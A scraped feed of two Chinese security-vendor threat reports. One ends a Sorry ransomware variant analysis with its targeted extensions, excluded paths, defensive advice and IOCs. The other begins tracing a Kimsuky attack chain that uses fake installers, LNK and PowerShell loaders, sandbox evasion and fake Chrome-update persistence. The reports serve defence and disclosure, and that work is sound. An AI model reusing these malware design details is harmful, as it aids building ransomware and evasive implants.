leaf="">.xlk</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xlw</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.xml</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.yaml</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.yml</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ycbcra</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.yuv</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.zip</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.1cd</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3dm</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3ds</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3fr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3g2</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3gp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.3pr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.602</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.7z</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ps1</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.7zip</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aac</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ab4</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ach</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.acr</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.act</span></p></td></tr><tr><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.adb</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.adp</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ads</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aes</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.agdl</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.aiff</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.ait</span></p></td><td style="border:1px solid #d9d9d9;padding:5px 8px;"><p><span leaf="">.al</span></p></td></tr></tbody></table><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">此外，在扫描过程中，勒索软件还会排除一些路径及文件，不对特定路径或文件名的文件进行加密。包含如下字符串的路径被排除：</span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">&#34;\ProgramData\&#34;、&#34;\$Recycle.Bin\&#34;、&#34;\System Volume Information\&#34;、&#34;\Recovery\&#34;、&#34;\Boot\&#34;、&#34;\PerfLogs\&#34;、&#34;\MSOCache\&#34;、&#34;\Intel\&#34;、&#34;\AppData\Local\Temp\&#34;、&#34;\AppData\Local\Microsoft\&#34;、&#34;\AppData\Local\Google\Chrome\&#34;、&#34;\AppData\Local\Mozilla\&#34;、&#34;\AppData\Local\Packages\&#34;、&#34;efi.boot&#34;、&#34;efi.microsoft&#34;、&#34;all users&#34;、&#34;node_modules&#34;、&#34;.git&#34;、&#34;recycle.bin&#34;、&#34;system volume information&#34;、&#34;.trash&#34;、&#34;.cache&#34;、&#34;__pycache__&#34;、&#34;ieidcache&#34;、&#34;appdata&#34;、&#34;.recovery&#34;、&#34;local settings&#34;、&#34;site-packages&#34;、&#34;test_importlib&#34;</span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">被排除的文件名如下：</span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">&#34;desktop.ini&#34;、&#34;thumbs.db&#34;、&#34;ntuser.dat&#34;、&#34;ntuser.dat.log1&#34;、&#34;ntuser.dat.log2&#34;、&#34;ntuser.ini&#34;、&#34;bootmgr&#34;、&#34;bootnxt&#34;、&#34;pagefile.sys&#34;、&#34;swapfile.sys&#34;、&#34;hiberfil.sys&#34;、&#34;iconcache.db&#34;、&#34;autorun.inf&#34;、&#34;hello.txt&#34;</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#be191f;"><span leaf="">4. 收尾工作</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">最终，勒索软件会在完成加密操作后，释放勒索信文件hello.txt，其内容已经提前内置于代码中。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3956692913385827" data-w="508" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f7783366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJvicqxZ98pWzAkgHqCO1L83jSKaGj51kOcDJR5X2M9TXxD3YlkqQxh7bowuuodofRdmib7IdG5xgovfelgKCia5eOMtNVUDrBZRg%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">最终的完整勒索信内容如下：</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2348314606741573" data-w="890" style="width:100%;height:auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd0af97b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIXicT8UFbdNTqybSmuyoenk4tibkMQAxJtutRRdTm03Ua1rEXicuicWZl14HctQgLbv64h30fAAOJ0gkLvaDqK206MuzRkicXKUpuE%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:24px 8px 16px;text-align:left;"><span style="font-size:18px;font-weight:bold;color:#ffffff;background-color:#be191f;padding:4px 14px;"><span leaf="">二、防护建议</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">根据本次Sorry勒索软件新变种的特性，我们给出如下安全建议。</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#000000;"><span leaf="">1）数据备份</span></span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 关键资料优先备份</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">核心数据库文件、虚拟机磁盘文件、工作办公文档等，务必做到定期离线备份。在条件允许的情况下，尽可能进行多处备份。但网络备份并不保险，本次分析的样本就具有扫描并加密网络磁盘中数据的能力。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 定期演练</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">除定期备份外，还需要经常测试备份文件能不能正常打开还原，避免备份损坏。</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#000000;"><span leaf="">2）收紧入口</span></span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 2em;"><span leaf="">该变种本身虽不会自主传播，但攻击者则会复用老的入侵渠道，进行攻击并部署勒索软件。有鉴于此，需要网络管理人员对潜在的网络渗透入口进行严格管控。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 尽量不要把远程桌面、VPN、各类管理端口直接暴露在公网上；</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 杜绝弱口令/密码，登录口令及各类密码不要过于简单，不同设备不共用一套密码；</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 服务器、办公主机减少对外的高危端口开放，减少被黑客钻空子的机会。</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#000000;"><span leaf="">3）账户权限管控</span></span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 数据库、备份工具要使用独立专用账号，日常工作中，不要用最高权限管理员账号登录业务电脑和服务器。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 该勒索程序获取高权限后，会主动关闭MySQL数据库进程、停止数据库相关服务，之后再加密文件。因此，缩小普通账号权限，也能在一定程度上限制其关停业务服务的操作。</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#000000;"><span leaf="">4）安全检测与阻断配置</span></span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 网络层面，建议对各类未知网络访问及可疑协议的通信进行重点监控，并在必要时进行告警或拦截。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 终端防护上，需要部署有效的杀毒或EDR终端安全工具。并可根据情况对该勒索样本哈希值、程序互斥量、勒索信文本等特征进行配置，在程序运行早期直接阻断执行。</span></p><p style="margin:16px 8px;"><span style="font-size:17px;font-weight:bold;color:#000000;"><span leaf="">5）事后处理</span></span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 不要寄希望于付费解密。没有攻击者私钥，被加密的真实业务文件无法解密。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 该变种本身并不具备删除系统卷影副本的功能，所以中招后可第一时间尝试从系统卷影副本中恢复文件。若不成功，再尝试从其他备份恢复。</span></p><p style="margin: 16px 8px;font-size: 17px;line-height: 1.6;text-align: justify;text-indent: 0px;"><span leaf="">• 发现感染，立刻隔离主机，断开网络并留存取证信息，优先从干净备份恢复业务。</span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">此外，我们强烈建议</span><strong><span leaf=""><span textstyle="" style="color: rgb(190, 25, 31);">不要</span></span></strong><strong><span leaf=""><span textstyle="" style="color: rgb(190, 25, 31);">向攻击者</span></span></strong><strong><span leaf=""><span textstyle="" style="color: rgb(190, 25, 31);">支付赎金</span></span></strong><span leaf="">。就算给了赎金，也不能保证对方一定会提供解密密钥。攻击者使用TOX匿名通讯，拿到赎金后还可能开展进一步诈骗、社工骚扰。</span></p><p style="margin:24px 8px 16px;text-align:left;"><span style="font-size:18px;font-weight:bold;color:#ffffff;background-color:#be191f;padding:4px 14px;"><span leaf="">三、反馈入口</span></span></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">随着当前AI技术的普及与勒索攻击的深度结合，勒索攻击在全球范围内均呈现出高危高发态势。为此，360近期在“远控勒索急救”工具中新增了“勒索反馈”入口，首次明确</span><strong><span leaf="">无差别支持</span></strong><span leaf="">全设备平台勒索事件的反馈与响应。</span></p><p style="margin:16px 8px;text-align:center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7280080889787665" style="width:100%;height:auto;" data-w="989" src="https://wechat2rss.xlab.app/img-proxy/?k=ad4cb7f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJylj6pa6upF9gOiaQOZUZVhNERnma98ZBjGgeHk5Yh6C2daIARSxvAEkOF72GrA6MpZdwGcAtLyh11p3zEKibHYicYMAz4icub3zM%2F640%3Ffrom%3Dappmsg"/></p><p style="margin:16px 8px;font-size:17px;line-height:1.6;text-align:justify;text-indent:2em;"><span leaf="">也就是说，任何受害用户，无论使用的是何种操作系统，也无论在中招前是否已经安装了360的产品，都可以在遭遇勒索攻击后，联系我们的安全专家尝试解决问题。</span></p><div style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;border-top: 1px solid rgb(204, 204, 204);color: rgb(166, 166, 166);"><p style="margin-top: -1.2em;text-align: center;line-height: 1.4;"><strong><span style="font-size: 16px;background-color: rgb(15, 15, 25);color: rgb(255, 255, 255);padding: 8px 23px;"><span leaf="">附录 IOC</span></span></strong></p></div><p style="margin:16px 8px;font-size:15px;font-weight:bold;line-height:1.6;"><span leaf="">Sample Hash</span></p><p style="margin:8px 8px;font-size:15px;line-height:1.6;"><span leaf="">MD5: 819e0d56c53a294befbb5ff879ec8886</span></p><p style="margin:8px 8px;font-size:15px;line-height:1.6;"><span leaf="">SHA1: 47219f67d14f806efa039d63cff179128b1996cd</span></p><p style="margin:16px 8px;font-size:15px;font-weight:bold;line-height:1.6;"><span leaf="">qTox ID</span></p><p style="margin:8px 8px;font-size:15px;line-height:1.6;"><span leaf="">7584478F2ACF7AA64AFFAA5A6D486B83706F1602B2C2617A60287B1FB12E9A284B369A2AD0F4</span></p><p style="margin:16px 8px;font-size:15px;font-weight:bold;line-height:1.6;"><span leaf="">IP Address(ICMP)</span></p><p style="margin:8px 8px;font-size:15px;line-height:1.6;"><span leaf="">64.227.34[.]0</span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



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      <pubDate>Fri, 25 Sep 2026 08:59:00 +0800</pubDate>
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      <title>APT-C-55（Kimsuky）组织利用伪装安装包植入远控木马的攻击链分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508878&amp;idx=1&amp;sn=d67dbc1305acff320756e665c0c923de</link>
      <description>近期360捕获到 Kimsuky 组织攻击活动，其通过恶意LNK文件和PowerShell投递，经环境检测、内存加载载荷后，利用伪装成Chrome更新的计划任务实现持久化，以达到长期控制目的</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-09-10 17:30</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4e1b51b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXLIlibHiathWWta6rib5Dz1bvNsperfIXCQD23kfsxSUW9ia96kA0RWbSmZkKLuLI26rTJM8V8ibm9wUCVOuLIZPKyhAjmFRUP8FAF4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>近期360捕获到 Kimsuky 组织攻击活动，其通过恶意LNK文件和PowerShell投递，经环境检测、内存加载载荷后，利用伪装成Chrome更新的计划任务实现持久化，以达到长期控制目的</p>
  <div style="max-width:578px;margin:0 auto;padding:8px 0;"><div style="margin:10px auto;text-align:left;"><div style="background:#f2f2f2;"><div style="box-sizing:border-box;padding:1em 1em;"><div style="display:flex;justify-content:space-between;align-items:flex-end;"><div style="display:flex;justify-content:space-between;flex-direction:column;align-items:flex-start;border-left:4px solid #be191f;box-sizing:border-box;"><p style="font-size:16px;letter-spacing:1.5px;padding:0 0 3px;color:#322828;margin-left:12px;border-bottom:1px solid #be191f;font-style:italic;box-sizing:border-box;"><span style="font-size:18px;"><strong><span leaf="">APT-C-55</span></strong></span></p><p style="letter-spacing:1.5px;padding:4px 0 0;color:#be191f;font-style:italic;box-sizing:border-box;"><span style="font-size:18px;"><strong><span leaf=""> Kimsuky</span></strong></span></p></div></div><div style="text-align:justify;line-height:1.75em;letter-spacing:1.5px;font-size:17px;color:#000;margin-top:20px;"><p style="text-indent:2em;margin:8px 0;"><span leaf="">APT-C-55（Kimsuky）</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width:578px;margin:0 auto;padding:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin:10px auto;text-align:left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background:#f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing:border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align:justify;line-height:1.75em;letter-spacing:1.5px;font-size:17px;color:#000;margin-top:20px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent:2em;margin:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">（又被称为 </span><span leaf="">BabyShark 等）是一个长期针对韩国的智囊团、政府外交部门、新闻媒体以及教育学术机构的</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width:578px;margin:0 auto;padding:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin:10px auto;text-align:left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background:#f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing:border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align:justify;line-height:1.75em;letter-spacing:1.5px;font-size:17px;color:#000;margin-top:20px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent:2em;margin:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">高级持续性威胁组织</span><span leaf="">，网络攻击主要目的在于窃取情报。该组织十分活跃，即便近年来屡遭安全厂商披露，也未能阻止其继续潜伏行动，反而呈现出愈演愈烈的态势，并持续开发各类攻击载荷。</span></p></div></div></div></div></div><div style="max-width:578px;margin:0 auto;padding:8px 0;"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div></div><p style="text-indent: 2em;margin: 16px 0px 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width:578px;margin:0 auto;padding:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin:10px auto;text-align:left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background:#f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing:border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align:justify;line-height:1.75em;letter-spacing:1.5px;font-size:17px;color:#000;margin-top:20px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent:2em;margin:8px 0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">近期，360高级威胁研究院在日常情报挖掘中发现并捕获到了Kimsuky组织的攻击活动，其采用多阶段加载方式，攻击者通过伪装的恶意安装包投递恶意 LNK 文件，利用 PowerShell 解密加载恶意脚本。脚本执行后首先进行环境检测以规避安全分析，并收集主机信息回传至攻击者服务器，随后下载第二阶段载荷并通过内存加载方式执行。为保持长期控制，攻击者通过伪装为“Google Chrome 更新”的计划任务实现持久化，最终加载远控木马，实现对受害终端的持续控制。至此，整条攻击链串联起恶意投递、规避检测、载荷加载、通信控制及持久化等关键环节。</span></p></div></div><div style="max-width:578px;margin:0 auto;padding:8px 0;"><h1 style="display:inline-block;background-color:#be191f;padding:6px 15px;box-sizing:border-box;font-size:18px;font-weight:bold;color:#ffffff;letter-spacing:1.5px;margin:24px 0 16px;"><span leaf="">二、攻击活动分析</span></h1><h2 style="font-size:17px;font-weight:bold;color:#be191f;margin:20px 0 10px;letter-spacing:0.5px;"><span leaf="">1.攻击流程分析</span></h2><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">Kimsuky组织首先通过伪造的恶意安装包投递LNK文件，LNK利用自身隐藏数据解密还原PowerShell恶意脚本。脚本启动后首先进行虚拟机、沙箱及安全分析环境检测，若发现异常环境则自动退出以规避分析；确认目标环境后，进一步收集受害主机系统信息、进程列表等数据，并上传至攻击者控制服务器。随后脚本从 C2 服务器下载第二阶段恶意载荷，下载文件通过伪造文件头等方式进行隐藏，并在内存中完成修复、解压及 .NET 程序加载执行，避免传统基于磁盘文件扫描的检测。执行过程中，恶意程序会通过 HTTP 请求向服务器回传运行状态，同时通过创建伪装为“Google Chrome 更新”的计划任务实现开机自启动和周期性执行，最终加载远控木马，实现对受害主机的持续控制。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25538793103448276" data-s="300,640" data-type="png" data-w="928" type="block" data-imgfileid="100025229" src="https://wechat2rss.xlab.app/img-proxy/?k=1389eeca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL3kkCeXBw0yvEAKVQhxCPYZOBhGD02c0QvSuhJTeVjwJwv9LrTibicKFUWIwQKTRziarprnvsqzicYj2tKiaSoS3ibibf2BE4w0cxRNk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="font-size:17px;font-weight:bold;color:#be191f;margin:20px 0 10px;letter-spacing:0.5px;"><span leaf="">2.载荷投递分析</span></h2><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">本轮攻击行动中，Kimsuky组织利用安装包的方式投递恶意LNK载荷，后续LNK攻击方式基本一致，故本次以恶意安装包为例进行分析，样本信息如下所示：</span></p><table style="border-collapse:
 collapse;border:none;mso-border-alt:solid windowtext .5pt;mso-yfti-tbllook:
 1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border: 1pt solid windowtext;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt 1pt 1pt medium;border-style: solid solid solid none;border-color: windowtext windowtext windowtext currentcolor;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">04272144d33668f99f7cf2255289e351</span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">5.66 MB (5934592</span></span><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">字节</span><span lang="EN-US"><span leaf="">)</span></span></span></p></td></tr><tr style="mso-yfti-irow:2;mso-yfti-lastrow:yes;"><td data-colwidth="132" width="132" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: none;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;font-family:仿宋;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span lang="EN-US" style="font-size:14.0pt;font-family:仿宋;"><span leaf="">OrionQuests-Setup.exe</span></span></p></td></tr></tbody></table><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">该样本是一个.net程序，编译时间也被攻击者修改。受害者一旦点击运行安装，便会从资源数据OrionSetup.payload.enc中提取有效载荷。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3675925925925926" data-w="1080" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9681597a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXICH4Gr7QibWib16L0WicibJ0clHFB6nia9iaNM8RNU8iax8mEictVBY7VspY7cQYn4zh3a1yg9KbyXZLIUmOUNyiacZVXzs0ib3WiaAFnC78%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">具体做法是读取base64编码的OrionSetup.payload.enc数据然后进行AES解密得到压缩包数据。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5676442762535477" data-w="1057" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=141dfb39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKQp1yNibJmW9mcqDJRW6mZp5NmlLuWuwGkictyUjgTHRnoqr57rHKJyEiaiakj7U4PqRJpPV18CnxUG1qJUpXKhlAn5Cm7ge0g8jI%2F640%3Ffrom%3Dappmsg"/></span><p style="font-size:17px;line-height:1.6em;color:rgba(0,0,0,0.9);text-align:justify;text-indent:2em;margin:16px 0;letter-spacing:0.5px;"><span leaf="">接着对压缩包进行解压得到正常安装文件和恶意lnk文件并运行。</span></p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.28431372549019607" data-w="612" style="max-width:100%;border-radius:2px;display:block;margin:10px auto;" 